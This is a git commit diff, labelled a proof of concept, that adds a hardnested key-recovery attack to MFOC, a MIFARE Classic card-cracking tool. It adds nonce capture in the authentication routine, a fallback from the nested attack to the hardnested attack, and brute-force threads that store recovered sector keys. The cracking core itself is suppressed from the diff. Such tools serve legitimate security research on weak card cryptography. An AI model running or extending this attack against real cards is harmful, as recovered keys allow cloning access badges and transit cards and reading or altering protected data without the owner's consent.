poc: hardnested attack
This commit is contained in:
parent
fc39e033c4
commit
ca895fc373
2
.gitignore
vendored
2
.gitignore
vendored
@ -20,4 +20,4 @@ src/Makefile.in
|
||||
src/mfoc
|
||||
src/mfoc.exe
|
||||
stamp-h1
|
||||
|
||||
*.o
|
||||
|
||||
@ -7,7 +7,7 @@ AC_CONFIG_HEADERS([config.h])
|
||||
AC_CONFIG_SRCDIR([src/mfoc.c])
|
||||
|
||||
AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
|
||||
CFLAGS="$CFLAGS -O3"
|
||||
CFLAGS="$CFLAGS -g -g3"
|
||||
AX_CFLAGS_WARN_ALL
|
||||
|
||||
AC_PROG_CC
|
||||
@ -21,7 +21,6 @@ PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ER
|
||||
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
|
||||
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
|
||||
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
|
||||
AX_LIB_READLINE
|
||||
|
||||
PKG_CONFIG_REQUIRES="libnfc"
|
||||
AC_SUBST([PKG_CONFIG_REQUIRES])
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -13,6 +13,7 @@
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include "mfoc.h"
|
||||
|
||||
#define NUM_SUMS 19 // number of possible sum property values
|
||||
|
||||
@ -46,8 +47,9 @@ typedef struct noncelist {
|
||||
noncelistentry_t *first;
|
||||
} noncelist_t;
|
||||
|
||||
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, uint8_t *trgkey, bool nonce_file_read, bool nonce_file_write, bool slow, int tests);
|
||||
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time);
|
||||
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType);
|
||||
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType);
|
||||
const char *get_my_executable_directory();
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@ -63,6 +63,7 @@ THE SOFTWARE.
|
||||
#include "../util_posix.h"
|
||||
#include "../crapto1.h"
|
||||
#include "../parity.h"
|
||||
#include "mifare.h"
|
||||
|
||||
#define NUM_BRUTE_FORCE_THREADS (num_CPUs())
|
||||
#define DEFAULT_BRUTE_FORCE_RATE (120000000.0) // if benchmark doesn't succeed
|
||||
@ -147,6 +148,8 @@ crack_states_thread(void* x) {
|
||||
uint64_t maximum_states;
|
||||
noncelist_t *nonces;
|
||||
uint8_t* best_first_bytes;
|
||||
uint8_t trgBlock;
|
||||
uint8_t trgKey;
|
||||
} *thread_arg;
|
||||
|
||||
thread_arg = (struct arg *) x;
|
||||
@ -163,7 +166,14 @@ crack_states_thread(void* x) {
|
||||
__sync_fetch_and_add(&keys_found, 1);
|
||||
char progress_text[80];
|
||||
sprintf(progress_text, "Brute force phase completed. Key found: %012" PRIx64, key);
|
||||
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0);
|
||||
if (thread_arg->trgKey == MC_AUTH_A){
|
||||
t.sectors[thread_arg->trgBlock / 4].foundKeyA = true;
|
||||
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyA, &key, sizeof(key));
|
||||
} else {
|
||||
t.sectors[thread_arg->trgBlock / 4].foundKeyB = true;
|
||||
memcpy(t.sectors[thread_arg->trgBlock / 4].KeyB, &key, sizeof(key));
|
||||
}
|
||||
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0, thread_arg->trgBlock, thread_arg->trgKey);
|
||||
break;
|
||||
} else if (keys_found) {
|
||||
break;
|
||||
@ -172,7 +182,7 @@ crack_states_thread(void* x) {
|
||||
char progress_text[80];
|
||||
sprintf(progress_text, "Brute force phase: %6.02f%%", 100.0 * (float) num_keys_tested / (float) (thread_arg->maximum_states));
|
||||
float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float) num_keys_tested / 2;
|
||||
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000);
|
||||
hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, remaining_bruteforce, 5000, thread_arg->trgBlock, thread_arg->trgKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -277,7 +287,7 @@ static void write_benchfile(statelist_t *candidates) {
|
||||
}
|
||||
#endif
|
||||
|
||||
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes) {
|
||||
bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey) {
|
||||
#if defined (WRITE_BENCH_FILE)
|
||||
write_benchfile(candidates);
|
||||
#endif
|
||||
@ -322,6 +332,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
|
||||
uint64_t maximum_states;
|
||||
noncelist_t *nonces;
|
||||
uint8_t *best_first_bytes;
|
||||
uint8_t trgBlock;
|
||||
uint8_t trgKey;
|
||||
} thread_args[NUM_BRUTE_FORCE_THREADS];
|
||||
|
||||
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
|
||||
@ -332,6 +344,8 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint
|
||||
thread_args[i].maximum_states = maximum_states;
|
||||
thread_args[i].nonces = nonces;
|
||||
thread_args[i].best_first_bytes = best_first_bytes;
|
||||
thread_args[i].trgBlock = trgBlock;
|
||||
thread_args[i].trgKey = trgKey;
|
||||
pthread_create(&threads[i], NULL, crack_states_thread, (void*) &thread_args[i]);
|
||||
}
|
||||
for (uint32_t i = 0; i < NUM_BRUTE_FORCE_THREADS; i++) {
|
||||
@ -363,8 +377,8 @@ static bool read_bench_data(statelist_t *test_candidates) {
|
||||
uint32_t num_states = 0;
|
||||
uint32_t states_read = 0;
|
||||
|
||||
char bench_file_path[strlen(".") + strlen(TEST_BENCH_FILENAME) + 1];
|
||||
strcpy(bench_file_path, ".");
|
||||
char bench_file_path[strlen(get_my_executable_directory()) + strlen(TEST_BENCH_FILENAME) + 1];
|
||||
strcpy(bench_file_path, get_my_executable_directory());
|
||||
strcat(bench_file_path, TEST_BENCH_FILENAME);
|
||||
|
||||
FILE *benchfile = fopen(bench_file_path, "rb");
|
||||
@ -453,7 +467,7 @@ float brute_force_benchmark() {
|
||||
uint64_t maximum_states = TEST_BENCH_SIZE * TEST_BENCH_SIZE * (uint64_t) NUM_BRUTE_FORCE_THREADS;
|
||||
|
||||
float bf_rate;
|
||||
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0);
|
||||
brute_force_bs(&bf_rate, test_candidates, 0, 0, maximum_states, NULL, 0, 0, 0);
|
||||
|
||||
free(test_candidates[0].states[ODD_STATE]);
|
||||
free(test_candidates[0].states[EVEN_STATE]);
|
||||
|
||||
@ -20,6 +20,7 @@
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include "../cmdhfmfhard.h"
|
||||
#include "../mfoc.h"
|
||||
|
||||
typedef struct {
|
||||
uint32_t *states[2];
|
||||
@ -28,7 +29,7 @@ typedef struct {
|
||||
} statelist_t;
|
||||
|
||||
extern void prepare_bf_test_nonces(noncelist_t *nonces, uint8_t best_first_byte);
|
||||
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes);
|
||||
extern bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint32_t num_acquired_nonces, uint64_t maximum_states, noncelist_t *nonces, uint8_t *best_first_bytes, uint8_t trgBlock, uint8_t trgKey);
|
||||
extern float brute_force_benchmark();
|
||||
extern uint8_t trailing_zeros(uint8_t byte);
|
||||
extern bool verify_key(uint32_t cuid, noncelist_t *nonces, uint8_t *best_first_bytes, uint32_t odd, uint32_t even);
|
||||
|
||||
221
src/mfoc.c
221
src/mfoc.c
@ -55,6 +55,7 @@
|
||||
//SLRE
|
||||
#include "slre.h"
|
||||
#include "slre.c"
|
||||
#include "cmdhfmfhard.h"
|
||||
|
||||
#define MAX_FRAME_LEN 264
|
||||
|
||||
@ -110,8 +111,6 @@ int main(int argc, char *const argv[])
|
||||
|
||||
};
|
||||
|
||||
mftag t;
|
||||
mfreader r;
|
||||
denonce d = {NULL, 0, DEFAULT_DIST_NR, DEFAULT_TOLERANCE, {0x00, 0x00, 0x00}};
|
||||
|
||||
// Pointers to possible keys
|
||||
@ -536,106 +535,124 @@ int main(int argc, char *const argv[])
|
||||
}
|
||||
if (skip) continue; // We have already revealed key, go to the next iteration
|
||||
|
||||
// Max probes for auth for each sector
|
||||
for (k = 0; k < probes; ++k) {
|
||||
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
||||
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA); // AUTH + Get Distances mode
|
||||
if(authresult == -99999){
|
||||
//for now we return the last sector that is unknown
|
||||
nfc_close(r.pdi);
|
||||
nfc_exit(context);
|
||||
if(pfKey) {
|
||||
fprintf(pfKey, "%012" PRIu64 ";%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
|
||||
fclose(pfKey);
|
||||
}
|
||||
return 9;
|
||||
}
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
|
||||
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
||||
// Configure device to the previous state
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
if (mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0) == -99999) {
|
||||
//Hardnested attack
|
||||
|
||||
pk->possibleKeys = NULL;
|
||||
pk->size = 0;
|
||||
// We have 'sets' * 32b keystream of potential keys
|
||||
for (n = 0; n < sets; n++) {
|
||||
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
||||
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA);
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
fprintf(stdout, ".");
|
||||
fflush(stdout);
|
||||
}
|
||||
fprintf(stdout, "\n");
|
||||
// Get first 15 grouped keys
|
||||
ck = uniqsort(pk->possibleKeys, pk->size);
|
||||
for (i = 0; i < TRY_KEYS ; i++) {
|
||||
// We don't known this key, try to break it
|
||||
// This key can be found here two or more times
|
||||
if (ck[i].count > 0) {
|
||||
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
||||
// Set required authetication method
|
||||
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||
int res;
|
||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
|
||||
if (res != NFC_EMFCAUTHFAIL) {
|
||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||
goto error;
|
||||
}
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
// Save all information about successfull authentization
|
||||
bk->size++;
|
||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
if (dumpKeysA) {
|
||||
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
t.sectors[j].foundKeyA = true;
|
||||
|
||||
} else {
|
||||
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
t.sectors[j].foundKeyB = true;
|
||||
}
|
||||
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||
bytes_to_num(mp.mpa.abtKey, 6));
|
||||
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
|
||||
if (!t.sectors[j].foundKeyB) {
|
||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
|
||||
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
||||
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
||||
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
||||
fprintf(stdout, "Failed!\n");
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
fprintf(stdout, "OK\n");
|
||||
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
|
||||
t.sectors[j].foundKeyB = true;
|
||||
bk->size++;
|
||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
|
||||
uint8_t blockNo = e_sector * 4; //Block
|
||||
uint8_t keyType = (t.sectors[e_sector].foundKeyA ? MC_AUTH_A : MC_AUTH_B);
|
||||
uint8_t *key = (t.sectors[e_sector].foundKeyA ? t.sectors[e_sector].KeyA : t.sectors[e_sector].KeyB);;
|
||||
uint8_t trgBlockNo = j * 4; //block
|
||||
uint8_t trgKeyType = (dumpKeysA ? MC_AUTH_A : MC_AUTH_B);
|
||||
mfnestedhard(blockNo, keyType, key, trgBlockNo, trgKeyType);
|
||||
} else {
|
||||
//Nested attack
|
||||
// Max probes for auth for each sector
|
||||
for (k = 0; k < probes; ++k) {
|
||||
// Try to authenticate to exploit sector and determine distances (filling denonce.distances)
|
||||
int authresult = mf_enhanced_auth(e_sector, 0, t, r, &d, pk, 'd', dumpKeysA, 0, 0); // AUTH + Get Distances mode
|
||||
if(authresult == -99999){
|
||||
//for now we return the last sector that is unknown
|
||||
nfc_close(r.pdi);
|
||||
nfc_exit(context);
|
||||
if(pfKey) {
|
||||
fprintf(pfKey, "%012" PRIu64 ";%d;%c;%d;%c", knownKey, knownSector, knownKeyLetter, unknownSector, unknownKeyLetter);
|
||||
fclose(pfKey);
|
||||
}
|
||||
} else {
|
||||
if (res != NFC_ERFTRANS) {
|
||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||
goto error;
|
||||
}
|
||||
mf_anticollision(t, r);
|
||||
}
|
||||
}
|
||||
return 9;
|
||||
}
|
||||
|
||||
printf("Sector: %d, type %c, probe %d, distance %d ", j, (dumpKeysA ? 'A' : 'B'), k, d.median);
|
||||
// Configure device to the previous state
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
|
||||
pk->possibleKeys = NULL;
|
||||
pk->size = 0;
|
||||
// We have 'sets' * 32b keystream of potential keys
|
||||
for (n = 0; n < sets; n++) {
|
||||
// AUTH + Recovery key mode (for a_sector), repeat 5 times
|
||||
mf_enhanced_auth(e_sector, t.sectors[j].trailer, t, r, &d, pk, 'r', dumpKeysA, 0, 0);
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
break;
|
||||
fprintf(stdout, ".");
|
||||
fflush(stdout);
|
||||
}
|
||||
fprintf(stdout, "\n");
|
||||
// Get first 15 grouped keys
|
||||
ck = uniqsort(pk->possibleKeys, pk->size);
|
||||
for (i = 0; i < TRY_KEYS ; i++) {
|
||||
// We don't known this key, try to break it
|
||||
// This key can be found here two or more times
|
||||
if (ck[i].count > 0) {
|
||||
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
||||
// Set required authetication method
|
||||
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||
int res;
|
||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
|
||||
if (res != NFC_EMFCAUTHFAIL) {
|
||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||
goto error;
|
||||
}
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
// Save all information about successfull authentization
|
||||
bk->size++;
|
||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
if (dumpKeysA) {
|
||||
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
t.sectors[j].foundKeyA = true;
|
||||
|
||||
} else {
|
||||
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||
t.sectors[j].foundKeyB = true;
|
||||
}
|
||||
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||
bytes_to_num(mp.mpa.abtKey, 6));
|
||||
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
|
||||
if (!t.sectors[j].foundKeyB) {
|
||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
|
||||
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
||||
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
||||
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
||||
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
||||
fprintf(stdout, "Failed!\n");
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
} else {
|
||||
fprintf(stdout, "OK\n");
|
||||
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
|
||||
t.sectors[j].foundKeyB = true;
|
||||
bk->size++;
|
||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
|
||||
}
|
||||
} else {
|
||||
if (res != NFC_ERFTRANS) {
|
||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||
goto error;
|
||||
}
|
||||
mf_anticollision(t, r);
|
||||
}
|
||||
}
|
||||
mf_configure(r.pdi);
|
||||
mf_anticollision(t, r);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
free(pk->possibleKeys);
|
||||
free(ck);
|
||||
// Success, try the next sector
|
||||
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||
}
|
||||
}
|
||||
free(pk->possibleKeys);
|
||||
free(ck);
|
||||
// Success, try the next sector
|
||||
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||
}
|
||||
// We haven't found any key, exiting
|
||||
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||
@ -917,7 +934,7 @@ get_rats_is_2k(mftag t, mfreader r)
|
||||
}
|
||||
}
|
||||
|
||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
|
||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits)
|
||||
{
|
||||
struct Crypto1State *pcs;
|
||||
struct Crypto1State *revstate;
|
||||
@ -931,6 +948,12 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
|
||||
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||
|
||||
if (mode == 'h') {
|
||||
memset(Auth, 0, 4);
|
||||
memset(AuthEnc, 0, 4);
|
||||
}
|
||||
|
||||
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
|
||||
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
@ -946,6 +969,9 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
|
||||
// Prepare AUTH command
|
||||
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
|
||||
if (mode == 'h') {
|
||||
Auth[1] = e_sector * 4; //block
|
||||
}
|
||||
iso14443a_crc_append(Auth, 2);
|
||||
// fprintf(stdout, "\nAuth command:\t");
|
||||
// print_hex(Auth, 4);
|
||||
@ -1179,16 +1205,16 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
if (mode == 'h') {
|
||||
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
|
||||
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||
Auth[1] = a_sector;
|
||||
Auth[1] = a_sector * 4; //block
|
||||
iso14443a_crc_append(Auth, 2);
|
||||
|
||||
// Encryption of the Auth command, sending the Auth command
|
||||
for (i = 0; i < 4; i++) {
|
||||
AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i];
|
||||
AuthEnc[i] = crypto1_byte(pcs, 0, 0) ^ Auth[i];
|
||||
// Encrypt the parity bits with the 4 plaintext bytes
|
||||
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
|
||||
}
|
||||
if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar) < 0) {
|
||||
if ((( res = nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar)) < 0) || (res != 32)){
|
||||
ERR("while requesting encrypted tag-nonce");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
@ -1204,7 +1230,8 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
||||
pbits <<= 1;
|
||||
pbits |= p;
|
||||
}
|
||||
// num_acquired_nonces += add_nonce(NtEnc, pbits);
|
||||
*NtEncBytes = NtEnc;
|
||||
*parBits = pbits;
|
||||
|
||||
}
|
||||
|
||||
|
||||
14
src/mfoc.h
14
src/mfoc.h
@ -1,3 +1,8 @@
|
||||
#ifndef MFOC_H__
|
||||
#define MFOC_H__
|
||||
|
||||
#include <nfc/nfc-types.h>
|
||||
|
||||
#define MEM_CHUNK 10000
|
||||
#define TRY_KEYS 50
|
||||
|
||||
@ -82,6 +87,10 @@ typedef struct {
|
||||
} countKeys;
|
||||
|
||||
|
||||
mftag t;
|
||||
mfreader r;
|
||||
|
||||
|
||||
void usage(FILE *stream, int errno);
|
||||
void mf_init(mfreader *r);
|
||||
void mf_configure(nfc_device *pdi);
|
||||
@ -90,7 +99,7 @@ int trailer_block(uint32_t block);
|
||||
int find_exploit_sector(mftag t);
|
||||
void mf_anticollision(mftag t, mfreader r);
|
||||
bool get_rats_is_2k(mftag t, mfreader r);
|
||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
|
||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits);
|
||||
uint32_t median(denonce d);
|
||||
int compar_int(const void *a, const void *b);
|
||||
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
|
||||
@ -98,3 +107,6 @@ int compar_special_int(const void *a, const void *b);
|
||||
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
|
||||
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
|
||||
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
|
||||
|
||||
|
||||
#endif
|
||||
50
src/ui.c
50
src/ui.c
@ -27,45 +27,15 @@ int GridOffset = 0;
|
||||
bool GridLocked = false;
|
||||
bool showDemod = true;
|
||||
|
||||
static char *logfilename = "proxmark3.log";
|
||||
|
||||
#ifndef EXTERNAL_PRINTANDLOG
|
||||
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||
|
||||
void PrintAndLog(char *fmt, ...) {
|
||||
char *saved_line;
|
||||
int saved_point;
|
||||
va_list argptr, argptr2;
|
||||
static FILE *logfile = NULL;
|
||||
static int logging = 1;
|
||||
|
||||
// lock this section to avoid interlacing prints from different threads
|
||||
pthread_mutex_lock(&print_lock);
|
||||
|
||||
if (logging && !logfile) {
|
||||
logfile = fopen(logfilename, "a");
|
||||
if (!logfile) {
|
||||
fprintf(stderr, "Can't open logfile, logging disabled!\n");
|
||||
logging = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// If there is an incoming message from the hardware (eg: lf hid read) in
|
||||
// the background (while the prompt is displayed and accepting user input),
|
||||
// stash the prompt and bring it back later.
|
||||
#ifdef RL_STATE_READCMD
|
||||
// We are using GNU readline. libedit (OSX) doesn't support this flag.
|
||||
int need_hack = (rl_readline_state & RL_STATE_READCMD) > 0;
|
||||
|
||||
if (need_hack) {
|
||||
saved_point = rl_point;
|
||||
saved_line = rl_copy_text(0, rl_end);
|
||||
rl_save_prompt();
|
||||
rl_replace_line("", 0);
|
||||
rl_redisplay();
|
||||
}
|
||||
#endif
|
||||
|
||||
va_start(argptr, fmt);
|
||||
va_copy(argptr2, argptr);
|
||||
vprintf(fmt, argptr);
|
||||
@ -73,22 +43,6 @@ void PrintAndLog(char *fmt, ...) {
|
||||
va_end(argptr);
|
||||
printf("\n");
|
||||
|
||||
#ifdef RL_STATE_READCMD
|
||||
// We are using GNU readline. libedit (OSX) doesn't support this flag.
|
||||
if (need_hack) {
|
||||
rl_restore_prompt();
|
||||
rl_replace_line(saved_line, 0);
|
||||
rl_point = saved_point;
|
||||
rl_redisplay();
|
||||
free(saved_line);
|
||||
}
|
||||
#endif
|
||||
|
||||
if (logging && logfile) {
|
||||
vfprintf(logfile, fmt, argptr2);
|
||||
fprintf(logfile, "\n");
|
||||
fflush(logfile);
|
||||
}
|
||||
va_end(argptr2);
|
||||
|
||||
if (flushAfterWrite) //buzzy
|
||||
@ -100,10 +54,6 @@ void PrintAndLog(char *fmt, ...) {
|
||||
}
|
||||
#endif
|
||||
|
||||
void SetLogFilename(char *fn) {
|
||||
logfilename = fn;
|
||||
}
|
||||
|
||||
void SetFlushAfterWrite(bool flush_after_write) {
|
||||
flushAfterWrite = flush_after_write;
|
||||
}
|
||||
|
||||
@ -53,8 +53,6 @@ extern char *sprint_bin(const uint8_t * data, const size_t len);
|
||||
extern char *sprint_bin_break(const uint8_t *data, const size_t len, const uint8_t breaks);
|
||||
extern char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_str_len);
|
||||
|
||||
extern void num_to_bytes(uint64_t n, size_t len, uint8_t* dest);
|
||||
extern uint64_t bytes_to_num(uint8_t* src, size_t len);
|
||||
extern void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest);
|
||||
extern void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest);
|
||||
extern char *printBits(size_t const size, void const * const ptr);
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user